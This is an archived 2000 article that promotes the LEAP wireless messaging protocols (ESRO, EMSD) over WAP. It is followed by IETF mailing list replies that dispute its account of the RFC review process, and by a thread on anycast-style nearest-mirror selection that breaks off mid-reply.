Attached is a short description that introduces

   LEAP:  Lightweight & Efficient Application Protocols 

as an alternative to WAP.

The full description is part of the LEAP Manifesto.


------


           LEAP: One Alternative to WAP

                   Mohsen Banan
        <public@mohsen.banan.1.byname.net>


                   Version 0.3
                  June 23, 2000


Copyright (C) 2000 Mohsen Banan

Permission is granted to make and distribute verbatim
copies of this manual provided the copyright notice and
this permission notice are preserved on all copies.




1   Introduction
================

Over the last few years, data communications has
expanded dramatically and forcefully into the
wireless environment.  A major new Internet
reality is that of wireless networks, providing
service to legions of miniaturized, hand-held
mobile devices.  This reality has placed an
entirely new set of requirements on the underlying
communications protocols:  they must now provide
the power efficiency demanded by hand-held
wireless devices, together with the bandwidth
efficiency demanded by wide area wireless
networks.

Existing Internet protocols do not adequately meet
these requirements.  Therefore a new generation of
efficient protocols is needed, to satisfy the
demands of wireless applications.  At some point,
the wireless data communications industry must
agree on a single set of protocols that satisfies
its requirements.

1.1   The WAP Trap
------------------

In April 1998, a business association called the
WAP Forum published the Wireless Application
Protocol, or WAP. WAP is a set of specifications
for wireless data communications using hand-held
devices such as mobile phones and palmtop
computers.  The WAP specification provides the
users of these devices with mobile data
communications capabilities such as web-browsing
and e-mail.  In a previous article entitled The
WAP Trap [4], however, we have argued that WAP is
utterly unfit for its claimed purpose.


2  The Need for Efficiency
==========================

Engineering is the art of making intelligent
trade-offs between conflicting requirements.  A
perennial engineering trade-off is that which must
be made between the need for simplicity, and the
need for performance.  In the case of wireless
data communications, performance means such things
as data transfer speed, power efficiency, and
bandwidth efficiency.

The 1980s and 1990s were the decades of simple
protocols - protocols such as the very aptly named
Simple Mail Transfer Protocol (SMTP), and Simple
Network Management Protocol (SNMP). A great deal
of the success of these and other Internet
protocols can be attributed to their simplicity.
However, things have changed.  Network
communications has now expanded into the wireless
and mobile data communications arena, and wireless
applications demand efficiency.  The move to
wide-area wireless has significantly shifted the
location of the ideal engineering balance between
simplicity and performance - moving it away from
simplicity, and towards performance.

We therefore need a new generation of
high-performance, efficient protocols, to cater to
the demands of wireless applications.  The point
is sometimes made that the need for efficiency in
the wireless arena is a temporary one -- that
advances in wireless engineering technology in the
form of third generation (3G) systems will
eliminate existing bandwidth limitations,
obviating the need for efficient protocols.  As
long as the capacity of wireless networks remains
finite, however, the need for efficiency will
persist.  Efficient usage is an inherent
requirement for any finite resource, therefore the
requirement for efficient bandwidth usage and
battery longevity will remain.

Thus far, professional protocol and standards
producing associations, most notably represented
by the IETF, have failed to produce an acceptable
specification.  The IETF continues to represent
the tradition of simple protocols, a tradition
which wireless communications has now made
obsolete.

3  LEAP: The Lightweight & Efficient Application Protocols
==========================================================

It is now time for a new generation of protocols
to be implemented, designed to address the need
for performance, rather than simplicity.
The Lightweight & Efficient Application Protocols,
or LEAP, are designed precisely to address this
need.  LEAP is the general framework for a set of
high-performance, efficient protocols which are
ideal for mobile and wireless applications.  LEAP
is designed to address the technical requirements
of the wireless data communications industry, and
is oriented towards providing the greatest benefit
to the industry and the consumer.

The LEAP protocols are patent-free, and
open-source implementations of the protocols are
being made available for a variety of devices and
message-center platforms.  The protocols are thus
ready and available, and can be quickly
distributed and implemented as a viable
alternative to WAP.

3.1   Technical Overview of LEAP
--------------------------------

In this section we will provide a brief technical
overview of the LEAP protocols.  For a detailed
description of LEAP, refer to The LEAP Manifesto
[3], available at 
http://www.LeapForum.org/LEAP/Manifesto/roadMap/index.html

LEAP is a set of wireless application protocols
that are optimized for delivering small messages
over wireless networks.  Wireless networks are
constrained by bandwidth limitations, and the
hand-held devices they serve are constrained by
limitations such as display size, battery
capacity, and memory capacity.  These constraints
place a high premium on the efficiency of data
transfer.

The LEAP protocols are up to five time more
efficient than the ubiquitous SMTP e-mail
messaging protocols.  This increased efficiency
translates into longer battery life for mobile
phones, PDAs and other wireless Internet devices.


3.1.1   Layering of LEAP
------------------------

The LEAP protocols are layered.  The lower layer,
called Efficient Short Remote Operations (ESRO),
provides reliable connectionless transport
services which can be used for a variety of
applications.  For example, in addition to mobile
messaging services, ESRO can be used as a
transport service for credit card verification
applications and efficient micro browsers.  On top
of ESRO is the layer called EMSD. EMSD is a
messaging protocol that is highly optimized for
the submission and delivery of short Internet
e-mail messages.

Various other LEAP protocol components are in the
process of being designed and implemented.  See
``The Future of LEAP'' section of The LEAP
Manifesto for more details.


3.1.2   ESRO, Efficient Short Remote Operations
-----------------------------------------------

All efficient applications have the requirement
for an efficient transport mechanism.  For this
reason, the initial focus of the protocol
development effort has been on creating a general
efficient transport mechanism.  The resulting
protocol is referred to as Efficient Short Remote
Operations, or ESRO. ESRO is a reliable
connectionless transport mechanism, forming the
foundation for the development of efficient
protocols when TCP is too much and UDP is too
little.

ESRO was published in September 1997 as Internet
RFC-2188 [2].  Additional information about ESRO
is available at http://www.esro.org/


3.1.3   EMSD, Efficient Mail Submission and Delivery
----------------------------------------------------

The Efficient Mail Submission and Delivery (EMSD)
protocol is built on top of ESRO, and is designed
to address the Mobile Messaging application.  EMSD
provides for the submission and delivery of short
(4 kilobytes or less) Internet e-mail messages.
EMSD meets or exceeds the level of functionality,
reliability and security provided by the existing
SMTP protocols.  EMSD is a great deal more
efficient than existing Internet e-mail protocols.

EMSD was published in March 1999 as Internet
RFC-2524 [1].  Additional information about EMSD
is available at http://www.emsd.org/


3.1.4   Initial Focus:  Mobile Messaging
----------------------------------------

The need for efficient protocols extends across
all aspects of wireless data communications,
including e-mail, web browsing, and other
applications.  The LEAP architecture accommodates
all of these applications.  The initial LEAP
protocols, however, are designed to support the
Mobile Messaging application, since this is the
dominant application for wide-area wireless
networks.  Subsequent LEAP protocols are expected
to address other applications as necessary.

3.2   Processes and Procedures
------------------------------

We believe that a public protocol must conform to
each of the following basic, fundamental principles:


  o Patent-freedom

  o RFC publication

  o Maintenance by open Working Groups

Each of these provides a vital assurance of
protocol integrity.  Patent-freedom ensures that a
patent-holder cannot subvert free-market
competition among products and services based on
the protocol.  RFC publication ensures that the
protocol is freely available to anyone who wishes
to use it.  And maintenance by open Working Groups
ensures that development of the protocol takes
place by democratic, rather than oligarchic,
processes.

This trilogy of principles represent the most
basic guarantees of the integrity of a protocol.

The LEAP protocols are intended to be open in the
fullest sense of the word; they are intended to be
freely and permanently available, subject to
public review and revision, and without usage
restrictions of any kind.  Therefore the processes
and procedures used throughout the development and
maintenance of the LEAP protocols have been such
as to endow them with these characteristics, and
to ensure their integrity as public protocols.

LEAP protocols have been declared to the Free
Protocols Foundation as patent-free.  For more
information see http://www.FreeProtocols.org.

The ESRO and EMSD protocols have been published as
Internet RFCs and are maintained, respectively, by
ESRO.org at http://www.esro.org/, and by EMSD.org
at http://www.emsd.org/.

Each of these organizations allows public review
of the respective protocol, and provides
mechanisms for enhancement of the protocol as a
result of collective experience.

Any interested person may participate in the
further development of the protocols.
Participation in the development process is
entirely open and non-exclusive; there are no
membership fees.  The only requirement is that
participants must adhere to the principles and
procedures of the Free Protocols Foundation, thus
ensuring that the protocols remain permanently
patent-free.

Complete details of the LEAP development process
are provided in a separate article within The LEAP
Manifesto entitled The LEAP Protocol Development
Model.


+-------------------------------|-----------------------------+
|              WAP              |            LEAP             |
|-------------------------------|-----------------------------|
|Subject to known patent        |Patent-free                  |
|restrictions                   |                             | 
|-------------------------------|-----------------------------|
|Self-published by the WAP      |Published as Internet RFCs   |
|Forum                          |                             | 
|-------------------------------|-----------------------------|
|Revisions subject to change    |All revisions permanently    |
|without notice                 |fixed                        | 
|-------------------------------|-----------------------------|
|Maintained by the WAP Forum    |Maintained by open working   |
|                               |groups                       | 
|-------------------------------|-----------------------------|
|Re-invention of existing       |Efficiency-optimizing        |
|protocols                      |extensions to existing       |
|                               |protocols                    | 
|-------------------------------|-----------------------------|
|Tailored to mobile phone user  |User interface independent   |
|interface characteristics      |                             |
|-------------------------------|-----------------------------| 
|Inherent security              |Imposes no security          |
|vulnerability                  |assumptions                  | 
|-------------------------------|-----------------------------|
|Inconsistent protocol number   |Consistent protocol number   |
|assignment                     |assignment                   |
|-------------------------------|-----------------------------| 
|Initial focus:  web browsing   |Initial focus:  messaging    |
+-------------------------------|-----------------------------+ 

            Table 1:  WAP versus LEAP



4   Comparison of LEAP to WAP
=============================

In The WAP Trap, we enumerated the characteristics
of the WAP specifications that make them wholly
unfit to be the industry standard.  These
characteristics are summarized in Table 1, along
with the corresponding characteristics of the LEAP
protocols.


4.1   Patent Restrictions
-------------------------

As noted in The WAP Trap, the WAP specifications
include patented components.  Unlike WAP, the LEAP
protocols are entirely patent-free.

4.2   Openness of Publication
-----------------------------

As noted previously, the LEAP protocols are
published as Internet RFCs, ensuring permanent,
unrestricted availability of the protocols.  The
WAP specifications, on the other hand, are
self-published by the WAP Forum, and therefore do
not carry the same assurances of unrestricted
availability.  The availability and permanence of
the WAP specifications is only as good as that of
the WAP Forum itself.

Furthermore, in order to download any particular
WAP specification, a user must agree to a license
agreement.  By contrast, the LEAP protocols may be
downloaded and distributed without any
restrictions.

In addition, the WAP Forum's publishing philosophy
carries no guarantee of stability.  As of February
2000, each WAP specification carries on its title
page the disclaimer, ``This document is subject to
change without notice.''  By virtue of the RFC
publication process, on the other hand, individual
revisions of the LEAP protocols are permanently
fixed.


4.3   Openness of Maintenance
-----------------------------

LEAP's open maintenance processes are also in
sharp contrast to WAP. Participation in the
development of the WAP specifications requires
payment of the $27,000 WAP Forum membership fee
(as of February 2000), and takes place entirely
behind closed doors.  Unlike WAP, the LEAP
protocols are maintained by public maintenance
organizations in which anyone is free to
participate.

4.4   Technical Deficiencies
----------------------------

The WAP protocols also include numerous technical
deficiencies.  For example, WAP is a broad-scope
re-invention of existing protocols.  The LEAP
protocols, by contrast, consist of a small number
of independent protocols that complement existing
Internet protocols.  Other deficiencies are listed
in Table 1; for a detailed discussion, see The WAP
Trap.

4.5   Initial Focus
-------------------

There are also significant conceptual differences
between LEAP and WAP, of which we will mention two
here.  First, LEAP is primarily oriented towards
the mobile messaging (i.e.  e-mail) application,
whereas WAP is primarily oriented towards mobile
web browsing.  We believe that this represents a
serious misunderstanding of the mobile data
communications industry on the part of the WAP
Forum.  Hand-held mobile devices are extremely
well-suited to the e-mail application, whereas
their severe user interface limitations render
them highly ill-suited to web browsing.

Second, LEAP and WAP take very different
approaches to the messaging application.  The LEAP
approach, embodied in the EMSD protocol, is a
complete and efficient submission and delivery
model.  The WAP approach, on the other hand, is a
mailbox access and selective message retrieval
model.

A consequence of this is that the WAP protocol has
several unresolved issues relating to message
delivery.  For example, the WAP protocol does not
support the ``push'' model of message delivery, in
which time-critical messages are actively
delivered to the recipient.  The LEAP protocol, by
contrast, fully supports the ``push'' model.

5   Making LEAP Widespread
==========================

Thus far our discussion has been entirely
theoretical; we have demonstrated on paper that
WAP is not viable, and that LEAP has all the
characteristics necessary to be considered a
viable alternative.  However this is all academic
until the protocols are implemented as software
and deployed in real world systems.

In order for the LEAP protocols to become widely
used, they must be implemented in the form of
software solutions that are readily available for
deployment by end-users.  To this end, we have
created software implementations of the protocols
for most common platforms.  Protocol engines have
been implemented in the form of portable code
which has been ported to a variety of platforms.
On the device side, software has been implemented
for pagers and cell-phones; for hand-held PCs and
Palm Pilot (Palm OS, Windows CE, Palm PC); for
Windows 98, Windows 95, and Windows NT; and for
Pine (UNIX, Windows, DOS). On the message center
side, software has been implemented for Solaris,
Linux and NT.

All of this software will be made publicly
available in the form of free software in
open-source format.  At present, we have created
the structures necessary to allow ready access and
downloading of the software in binary form.
Foundation libraries of LEAP protocol engines
called the ``Open C Platform (OCP)'' are subject
to GNU Library General Public License and are
available as open-source software.

The software is being made available at
http://www.MailMeAnywhere.org/

We expect to have the ESRO protocol engine
software components subject to the GNU General
Public License available at this location by
September 2000.  We expect the availability of the
entire suite of open-source software
implementations described above to be completed by
December 2000.

As noted above, the initial emphasis of LEAP is on
the mobile messaging application.  Protocol
engines are only a single component of a bigger
picture; in order to provide complete solutions to
the user it is necessary to integrate these
protocols into other existing pieces of software.
Fully-integrated solutions which combine LEAP with
other open-source and free software packages such
as qmail, sendmail, fetchmail will also be made
available.

We invite those interested in using, enhancing,
porting and integrating this software to join the
relevant mailing lists at
http://www.MailMeAnywhere.org/

We will also initially ``prime the pump'' by
providing free subscriber services through
ByNumber.net and ByName.net.  This will provide
initial support for the implementation adoption of
the protocols in end-user devices.  Usage of the
protocols among a sufficient number of user
devices will then provide the motivation for usage
among the message center systems.


6   Other Alternatives to WAP
=============================

In this article we have promoted LEAP as one
alternative to WAP. An obvious question is:  Are
there any other alternatives?

A traditional source of Internet protocols is the
Internet Engineering Task Force, or IETF. To our
knowledge, however, no protocol specification
which addresses the requirements for efficient
Mobile Messaging can be expected from the IETF in
the near future.

Other traditional sources of protocols are private
industry, and the academic community.  However,
thus far a suitable protocol has been forthcoming
from neither of these sources.  There is general
consensus within the industry that an alternative
protocol to WAP is required.  Apart from LEAP,
however, no such protocol has yet been publicly
proposed.

To the best of our knowledge, therefore, LEAP is
the only viable open and patent-free alternative
to WAP.

7   Summary
===========

All of the basic components that are needed to
launch LEAP are complete, in place, and ready to
go.  These components are:


The Protocols Themselves. The protocols are
    well-designed, meet all the technical
    requirements of the industry, and are
    published as RFC-2188 and RFC-2524.  The
    complete text of the RFCs is available at
    http://www.rfc-editor.org.

Freedom from Patents. The protocols have been
    declared to the Free Protocols Foundation as
    patent-free.  For more information see
    http://www.FreeProtocols.org.

Open Maintenance Organizations. The protocols are
    maintained by open and public organizations at
    http://www.esro.org, http://www.emsd.org, and
    http://www.LeapForum.org.

Open-Source Software Implementations. These are in
    the process of being made available for all
    major platforms and end-user devices.  For
    details see http://www.MailMeAnywhere.org.

Free Subscriber Services. Provided to support
    initial deployment of the protocols in
    end-user devices.  For details see
    http://www.ByNumber.net and
    http://www.ByName.net.


Together, these components represent a complete
recipe for the success of LEAP. The protocols
themselves are open and immediately available, and
open-source implementations of the protocols are
in the process of being made available as free
software.

The combination of free protocols and open-source
software is something which has enormous power.
It is this combination of factors which has driven
the overwhelming success of other industry
standards such as Linux and Web (HTTP/HTML). We
believe that this same combination of factors will
drive the acceptance of LEAP in the wireless data
communications industry.

Finally, we do not claim that LEAP is technically
ideal -- like all engineering solutions it
includes compromises.  What we do claim is that
LEAP is a good solution, and that its processes
have integrity.  Where the LEAP protocols fall
short of the industry needs, the open maintenance
processes will provide a mechanism by which they
can evolve into a better solution.

7.1  The LEAP Manifesto
-----------------------

Every aspect of LEAP is described in The LEAP
Manifesto [3], available at
http://www.LeapForum.org/LEAP/Manifesto/roadMap/index.
html.  The LEAP Manifesto includes a technical
description of the LEAP protocols themselves, and
a description of all the components required to
encourage their widespread usage.  The LEAP
Manifesto consists of the following articles:


Executive Summary. An overview summary of the
    entire LEAP Manifesto.

Overview of the LEAP Protocols. A general overview
    description of the LEAP protocols.

The LEAP Protocol Development Model. A description
    of the processes used to develop the LEAP
    protocols, and how and why these processes
    differ from the conventional development
    process.

EMSD: The LEAP E-Mail Component. A technical
    description of EMSD, the e-mail component of
    LEAP.

ESRO: A Foundation for the Development of Efficient Protocols.
    A technical description of ESRO, the transport
    mechanism component of LEAP.

Efficiency of EMSD. A technical paper analyzing
    the efficiency characteristics of EMSD and
    comparing its efficiency to other e-mail
    protocols.

EMSD on Windows CE. A technical paper describing
    the architecture and implementation of EMSD on
    Windows CE devices.

EMSD on Palm OS. A technical paper describing the
    architecture and implementation of EMSD on
    Palm OS devices.

A Brief History of LEAP. A summary of the major
    events in the evolution of the LEAP protocols.

The Future of LEAP. A description of the planned
    future development of LEAP, including
    descriptions of several LEAP-based products
    and services which are currently under
    development.

The WAP Trap. A detailed criticism of a set of
    specifications called the Wireless Application
    Protocol, or WAP. This article demonstrates
    that WAP is entirely inappropriate to play the
    role of a Mobile Messaging industry standard.

LEAP: One Alternative to WAP. A point-by-point
    comparison of the LEAP protocols to the WAP
    specifications.  This article compares and
    contrasts LEAP with WAP, and demonstrates that
    LEAP has all the desirable characteristics of
    an industry standard protocol that WAP lacks.

Operation WhiteBerry. A description of how all the
    capabilities of the closed RIM BlackBerry
    mobile messaging solution can be duplicated
    using existing software implementations of
    LEAP, and existing off-the-shelf hardware
    components.

Strategy for Making LEAP Widespread. A description
    of our strategy for encouraging widespread
    usage of the LEAP protocols, including the
    distribution of open-source software
    implementations of the protocols, and the
    availability of free subscriber services.

Trying Out LEAP. A step-by-step, hands-on
    demonstration of how the LEAP protocols can be
    used to turn any Windows CE device into a
    fully functional Mobile Messaging device.

Lessons from History:  Comparitive Case Studies.
    An analysis of the factors which lead to the
    success or failure of protocols, including
    discussions of several historical case
    studies.

The Mobile Messaging Industry. An overview of the
    Mobile Messaging industry, and a description
    of the essential factors that are required for
    its long term success and growth.


References
==========

[1] M. Banan. Neda's Efficient Mail Submission and
    Delivery (EMSD) Protocol Specification Version
    1.3. Request for Comments (Informational)
    2524, Neda Communications, Inc., February
    1999. Online document is available at
    ftp://ftp.isi.edu/in-notes/rfc2524.txt.

[2] M. Banan, J. Cheng, and M. Taylor. AT&T/Neda's
    Efficient Short Remote Operations (ESRO)
    Protocol Specification Version 1.2. Request
    for Comments (Informational) 2188, Neda
    Communications, Inc., September 1997. Online
    document is available at
    ftp://ftp.isi.edu/in-notes/rfc2188.txt.

[3] Mohsen Banan. Lightweight & Efficient
    Application Protocol (LEAP) Manifesto. FPF
    Published Document 108-101-01, Free Protocols
    Foundation, Bellevue, WA, January 2000. Online
    document is available at
    http://www.freeprotocols.org/pubs/biblio/108-101-01/index.html.

[4] Mohsen Banan. The WAP Trap. FPF Published
    Document 108-102-01, Free Protocols
    Foundation, Bellevue, WA, January 2000. Online
    document is available at
    http://www.freeprotocols.org/pubs/biblio/108-102-01/index.html.




From owner-ietf-outbound  Mon Jun 26 02:11:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA27198
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 02:10:03 -0400 (EDT)
Received: from nix.swip.net (nix.swip.net [192.71.220.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA27141
	for <ietf@ietf.org>; Mon, 26 Jun 2000 02:07:09 -0400 (EDT)
Received: from [192.168.124.95] (workstation1.swip.net [130.244.254.1]) 
          by nix.swip.net (8.8.8/8.8.8) with ESMTP 
          id IAA23618; 
          Mon, 26 Jun 2000 08:06:09 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: paf@nix.swip.net
Message-Id: <p04320404b57c9d265752@[192.168.124.95]>
In-Reply-To: <20000626053015.10590.qmail@tooran.byname.net>
References: <200006222310.RAA15677@calcite.rhyolite.com>
 <20000624003117.298.qmail@tooran.byname.net>
 <p04320412b57a070c8adf@[10.0.1.2]>
 <20000626053015.10590.qmail@tooran.byname.net>
Date: Mon, 26 Jun 2000 08:04:34 +0200
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?=  <paf@swip.net>
Subject: RE: WAP and IP
Cc: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>,
        Vernon Schryver <vjs@calcite.rhyolite.com>, ietf@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

At 05.30 +0000 00-06-26, Mohsen BANAN-Public wrote:
>   >> IETF/IESG/IAB folks keep saying TCP is good enough for everything.
>
>   Patrik> We don't.
>
>   Patrik> See for example SCTP described in draft-ietf-sigtran-sctp-09.txt and
>   Patrik> applied to many applications which for example have to do with
>   Patrik> telephony signalling.
>
>The current status, state and beginning date of that example
>makes my point.

You are extrapolating the time it takes to get consensus around a 
document in a working group with people stating that TCP is good 
enough?

>After 7 months of delay, caused by the IESG, ESRO was published
>as an RFC in Sept. 1997.

There have already been enough discussions on the IETF list about 
ESRO. See the archives.

You seem to (once again) ignore the problems with making protocols 
interoperate.

The rest of this discussion exists in the IETF mailing list archives.

>    - Equal access to RFC Publication Service

This is not possible, as a review process is guaranteeing the quality 
of the work published. For the various tracks, different reviews are 
done. For informational (such as ESRO) the RFC-Editor is deciding 
whether something is good enough, and asks for input from the IESG.

Issues which were discussed heavily regarding your two protocols are:

  - Congestion control
  - Ability to gateway to/from existing standards
  - Internationalization issues
  - Security

See IESG note in the beginning of RFC 2524.

All new protocols have to address those issues, as the experience we 
have with the protocols we have today gives that those issues 
(probably) were not addressed enough in those. Because we made that 
mistake once, we don't want to make the same mistake again. So, the 
IESG asks all people which write new protocols to address the issues 
above (and some others).

So, regarding the protocols you have proposed, it is not the case of 
"better or worse than TCP", it is about "does the protocols proposed 
address all issues we _today_ think a new protocol have to fulfil. 
That doesn't say that the protocols we use today would pass if 
created today. We should though not swap from something bad into 
another thing not solving the problems we know exists.

      Regards, Patrik



From owner-ietf-outbound  Mon Jun 26 02:30:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA27354
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 02:30:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA27327
	for <ietf@ietf.org>; Mon, 26 Jun 2000 02:27:35 -0400 (EDT)
Received: from langfjella.Alvestrand.no ([10.128.167.143])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id IAA22512;
	Mon, 26 Jun 2000 08:27:23 +0200
Message-Id: <4.3.2.7.2.20000626080659.03273ef8@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 26 Jun 2000 08:23:41 +0200
To: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?= <paf@SWIP.NET>
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: ESRO (RE: WAP and IP)
Cc: Vernon Schryver <vjs@calcite.rhyolite.com>, ietf@ietf.org
In-Reply-To: <20000626053015.10590.qmail@tooran.byname.net>
References: <p04320412b57a070c8adf@[10.0.1.2]>
 <200006222310.RAA15677@calcite.rhyolite.com>
 <20000624003117.298.qmail@tooran.byname.net>
 <p04320412b57a070c8adf@[10.0.1.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 05:30 26.06.2000 +0000, Mohsen BANAN-Public wrote:

>The current status, state and beginning date of that example
>makes my point.
>
>After 7 months of delay, caused by the IESG, ESRO was published
>as an RFC in Sept. 1997.

History note:

ESRO (RFC 2188) was delayed, as far as I remember, because of lack of 
response from the authors to IESG comments; this turned out to be because 
the author either didn't get them or didn't think/understand that a 
response was needed.
I remember some apologies at the time, and the document was published 
without making the changes that the comments (some mine) had asked for.

ESRO was published without significant input from the IETF community, and 
has some aspects that I consider rather stupid (tied to a single UDP port 
number (4.6.3), use of a THREE-bit transport selector (4.4.1) and total 
lack of discussion of congestion control), but did not face significant 
opposition in the IESG.

It's EMSD (RFC 2524) that was considered by the IESG to be bad enough that 
it was labelled with an IESG warning containing sentences like "makes EMSD 
completely unsuitable for end-to-end use across the public Internet", and 
seemingly earned the IESG the permanent enmity of Mohsen Banan.

                        Harald


--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Mon Jun 26 03:50:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA27910
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 03:50:02 -0400 (EDT)
Received: from mail.perspex.com (IDENT:tlilley@outside-eth.virpack.com [12.5.16.108] (may be forged))
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA27839
	for <ietf@ietf.org>; Mon, 26 Jun 2000 03:40:49 -0400 (EDT)
Received: from localhost (tlilley@localhost) by mail.perspex.com (8.8.7/8.7.3) with SMTP id HAA18283 for <ietf@ietf.org>; Mon, 26 Jun 2000 07:43:03 GMT
Date: Mon, 26 Jun 2000 07:43:03 +0000 (/etc/localtime)
From: Tripp Lilley <tlilley@perspex.com>
To: ietf@ietf.org
Subject: Anycast and related frobs
Message-ID: <Pine.LNX.3.96.1000626071955.14869x-100000@mail.perspex.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

I throw myself upon the humble mercy of the gods that I might not make a
fool of myself (again) in front of the IETF. Nevertheless, here goes...

As I understand it, a goal of IPv6 Anycast is to provide implicit
connectivity to the "nearest" netwise instance of a given member of a
group of service providers. Now, granted, this is based on an "address",
not an address / port tuple, so it's more like a group of machines, than
service providers, right?

What work has been done to provide a "nearest service" type of implicit
addressing? From what I gather, SLP is for service *discovery*, but what
I'm really on about is not "what services are available", but "where can I
find *this* service, closest to me?"

The canonical example of this is (duh) FTP mirrors. CPAN does a pretty
good job of multiplexing you to the netwise closest mirror, but it's all
done relatively heuristically, if I understand it correctly, and it's done
from the CPAN main server side, which means it can't tune the response for
*you* in particular.

Is there work underway to "canonicalize" such discovery procedures and
formalize them into, perhaps, a "Services: Optimization of Reachability to
Those Available" (SORTA)?

This next bit, please generalize as much as possible. FTP is what I'm
thinking of this instant, because it's what triggered the thoughts, but I
wouldn't want to shoe-horn a perfectly non-crappy idea into one
application alone. Also, note that my thoughts on implementation might
suck, so feel free to "improve" them in the inimitable IETF way.

What I'm thinking of is something in which a client (say, FTP) is given a
list of, e.g., URLs of available instances of the *particular* service
(that is, mirrors that actually contain the data you seek). Thus, a list
of hostnames and ports, and, implicit in the protocol field of the URL, a
protocol intended to be used for the actual desired exchange.

The client then plugs all of this into the SORTA mechanism, which queries
an upstream SORTA cache, asking it for the nearest, fastest "match" out
of that set, based a loose characterization of that service.

So, for instance, the SORTA cache might know (based on statistics
collected over time) that the mirror at foo.example.com is close to me and
very fast for small FTP transactions, but unstable over time. It might
furthermore know that bar.example.com is slower, but very stable, so it's
better for big files.

Based on that knowledge, and the list of potential candidates I gave it,
it would respond with foo.example.com for a small file, and
bar.example.com for a large file.


Of course, that's not to say that an implementation has to be this
complex. An upstream cache may pick one at random :) Or it may pick one
solely based on ping times. And so on...


Some reasons I'm thinking along these lines are:

	- ping / traceroute routinely get dumped on the floor by
	  congested routers and picky firewalls

	- having every single client determine reachability to the entire
	  mirror list is a huge duplication of effort and waste of b/w

	- having the server side determine reachability heuristically is a
	  guessing game, possibly educated (no offense to the CPAN folk)


I'm aware that FreeNet might provide much of this functionality implicitly
in its core architecture, but I've not yet looked into it too deeply.
SORTA also seems like a sort of (no pun intended) "reverse" approach to
things like Harvest (and, I suppose, FreeNet). Both Harvest and FreeNet,
as I understand it, look to bring the content closer to frequent
requestors of it. SORTA would take a less dynamic approach. Content would
stay where it is, but clients would be routed to the best instance.

Actually, that's not entirely true. Content *could* stay where it is, or
it could move, provided the master lists remained up to date (or there was
a mechanism for propagating changes throughout the SORTA cachespace). In
fact, SORTA could work together with the mirroring tools themselves to
move content to near mirrors based on SORTA caching information. Which
then *would* be like FreeNet :) Whee!

I'm also aware that there are "global load-balancing" tricks for doing
this. However, they require that you be in collusion with all mirror
instances, more or less. What I'm looking for is something that could
easily be joined / left by mirror members simply by adding / removing
entries from the master mirror list handed to a client.


Thanks for listening!

-- 
   Tripp Lilley  *  tripp@perspex.com  *  http://stargate.sg505.net/~tlilley/
------------------------------------------------------------------------------
   Me:   "That was pretty gross, Andy. I can't believe you ate it after
          I stuck it up your nose."
   Andy: "It was a big grape and a small nose. It didn't get very far."

   - outtake from perspex imageworks, inc., design meeting, circa 1994



From owner-ietf-outbound  Mon Jun 26 05:30:45 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA28628
	for ietf-outbound.10@ietf.org; Mon, 26 Jun 2000 05:30:02 -0400 (EDT)
Received: from ernst.netinsight.se ([212.209.170.195])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA28603
	for <ietf@ietf.org>; Mon, 26 Jun 2000 05:23:01 -0400 (EDT)
Received: from localhost (unverified [10.100.1.11]) by ernst.netinsight.se
 (EMWAC SMTPRS 0.83) with SMTP id <B0000740859@ernst.netinsight.se>;
 Mon, 26 Jun 2000 11:21:05 +0200
To: tlilley@perspex.com
Cc: ietf@ietf.org
Subject: Re: Anycast and related frobs
In-Reply-To: <Pine.LNX.3.96.1000626071955.14869x-100000@mail.perspex.com>
References: <Pine.LNX.3.96.1000626071955.14869x-100000@mail.perspex.com>
X-Mailer: Mew version 1.94.1 on Emacs 20.4 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20000626112227I.magda@netinsight.se>
Date: Mon, 26 Jun 2000 11:22:27 +0200
From: Magnus Danielson <magda@NETINSIGHT.SE>
X-Dispatcher: imput version 991025(IM133)
Lines: 56
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

From: Tripp Lilley <tlilley@perspex.com>
Subject: Anycast and related frobs
Date: Mon, 26 Jun 2000 07:43:03 +0000 (/etc/localtime)

Tripp,

> I throw myself upon the humble mercy of the gods that I might not make a
> fool of myself (again) in front of the IETF. Nevertheless, here goes...
> 
> As I understand it, a goal of IPv6 Anycast is to provide implicit
> connectivity to the "nearest" netwise instance of a given member of a
> group of service providers. Now, granted, this is based on an "address",
> not an address / port tuple, so it's more like a group of machines, than
> service providers, right?
> 
> What work has been done to provide a "nearest service" type of implicit
> addressing? From what I gather, SLP is for service *discovery*, but what
> I'm really on about is not "what services are available", but "where can I
> find *this* service, closest to me?"

At the 46th IETF in Washington there was a Anycast BOF, chaired by
Steve Deering. In there where a few presentations on diffrent aspects of
anycast. Then, when the question was raised to the floor on weither there
was a need to form a anycast group few hands where raised.

The conclusion was that the real need of Anycast was limited (i.e. DNS,
PIM RPs and possibly a few other services) and that no specific architecture
